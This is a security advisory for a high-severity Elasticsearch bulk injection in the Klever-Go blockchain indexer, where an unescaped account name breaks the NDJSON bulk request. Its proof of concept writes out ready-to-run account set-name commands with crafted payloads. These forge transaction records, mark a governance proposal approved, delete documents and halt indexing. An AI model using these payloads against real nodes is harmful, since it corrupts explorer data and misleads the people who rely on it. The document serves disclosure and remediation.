Vulnerability GHSA-7c7c-373r-gfjj

High Risk
HIGH RISK
CVSS Score: 8.0
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
8 days ago
September 23, 2026 at 09:24 PM UTC
Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
v1.7.14 - v1.7.19
v1.7.14 - v1.7.19

Summary

Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

Details

Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688

POC

The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'

This submits contract type 12 (SetAccountNameContract) with:

Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}

(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)

{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}}    ← forged bulk action
{"status":"success"}                             ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}}                ← sacrificial op absorbs the template tail

Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:

GET transactions/_doc/t

{ "found": true, "_source": { "status": "success" } }

Escalation variants — same delivery, only the Name changes

Each is a single SetAccountName tx sent the same way; only the payload differs.

Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'

Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'

Delete a document (e.g. proposal id 5; 61 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'

Recommendation

  1. Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the _id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).

  2. Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

Timeline

Published
8 days ago
September 23, 2026 at 09:24 PM UTC
Last Modified
6 hours ago
October 01, 2026 at 08:56 PM UTC